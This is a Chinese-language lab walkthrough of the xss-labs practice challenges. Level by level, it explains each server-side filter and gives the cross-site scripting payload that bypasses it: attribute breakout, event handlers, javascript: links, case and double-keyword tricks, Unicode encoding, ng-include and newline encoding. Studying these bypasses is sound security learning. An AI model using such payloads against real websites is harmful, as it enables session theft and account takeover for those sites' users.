xss-labs
level2
先用基础payload:
1 | <script>alert(1)</script> |
查看网页源码:
说明服务端对用户输入做了转义(<
变成了 <
)
查看题目源代码:
发现
1 | htmlspecialchars($str) |
能将一些特殊的 HTML 字符转换为 HTML 实体
字符 | 转换为 |
---|---|
& |
& |
< |
< |
> |
> |
" |
" |
' |
' (当 ENT_QUOTES 被设置时) |
|
|
我们可以直接闭合input
标签进行绕过
1 | "><script>alert(1)</script> |
level3
还是先用:
1 | <script>alert(1)</script> |
查看网页源代码:
发现表单内的和h2标签的都被转义了
查看源代码:
1 | echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> |
单引号虽然存在实体&apos
但是不被转义(未设置ENT_QUOTES
),HTML5中预留但是也不推荐使用
先闭合value,再引入鼠标事件的属性(最常与 <input>
、<select>
和 <a>
标签一起使用):
onclick
onfocus
onmouseover
onmouseout
再闭合javascript伪协议来执行
1 | ' onclick=javascript:alert(1) ' //点击input标签时 |
总结:onfocus可以绕过html实体化(即<>号的过滤)
level5
依旧<script>alert(1)</script>
开局,script变成scr_ipt,再试试鼠标事件,on变成o_n
源代码:
过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入
这里可以使用<a>
标签的href
属性
payload:
1 | "><a href=javascript:alert(1)>1</a><" |
点击链接就可以了
level6
这题替换的关键字比上题多,但是没有添加小写转化函数,我们可以采用大小写绕过
level7
不难发现,这里面进行了小写转化,将检测出来的on,script,href,src和data给删掉了,但是我们可以利用双写来绕过
比如下面这个payload:
1 | "><scriscriptpt>alert(1)</scriscriptpt> |
level8
是把传入的字符串进行转小写之后进行一系列过滤操作,最后将字符写入a标签的href属性中,跳转链接
我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议
1 | javascript:alert() |
利用在线工具进行Unicode编码后得到
1 | javascript:alert() |
总结: href属性自动解析Unicode编码
level9
下面多了个strpos()函数的验证,输入字符串必须包含http://
payload1:
将http://
用注释符注释掉否则会执行不了无法弹窗
1 | javascript:alert()/* http:// */ |
payload2:
将http://
写在alert内
1 | javascript:alert('http://') |
总结:插入指定内容(本关是http://)绕过检测
level10
这里有隐藏的传参方法,如果没有后端代码,就查看页面源代码一个一个测,这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签,但是我们还能用onfocus事件,因为这里输入框被隐藏了,需要添加type="text"
,构造payload:
1 | ?t_sort=" onfocus=javascript:alert() type="text |
这里input标签内将会出现两个type属性,浏览器通常会判定第一个出现的值作为最终的值
level11
先看参数t_sort,想通过覆盖type属性的值就要闭合双引号,就会被转义,是行不通的,那就通过t_ref参数,修改ref头来进行xss
level15
其中:
1 | <span class="ng-include:'.htmlspecialchars($str).'"> |
ng-include
类似于php的文件包含
ng-include 指令用于包含外部的 HTML文件,包含的内容将作为指定元素的子节点,ng-include 属性的值可以是一个表达式,返回一个文件名,默认情况下,包含的文件需要包含在同一个域名下
特别值得注意的几点如下:
- ng-include,如果单纯指定地址,必须要加引号
- ng-include,加载外部html,script标签中的内容不执行
- ng-include,加载外部html中含有style标签样式可以识别
- ng-inclue,记载外部html中的link标签可以加载
我们先试试看包涵第一关,构建payload:
1 | ?src='/level1.php' |
注意,这里不能包涵那些直接弹窗的东西如<script>
,但是可以包涵那些标签的东西比如<a>
、<input>
、<img>
、<p>
标签等等,这些标签是能需要我们手动点击弹窗的
1 | ?src='level1.php?name=<a href='javascript:alert(1)'>xss</a>'//错误的,自己看着点单双引号 |
总结:ng-include文件包涵,可以无视html实体化
level16
将script
、
、/
转化为空格的html实体化形式,可以用回车的URL编码%0a
代替空格绕过,再配合上不用/的<img>
、<svg>
等标签
payload:
1 | ?keyword=<img%0asrc=1%0aonerror=alert(1)> |
参考:
XSS-potatowo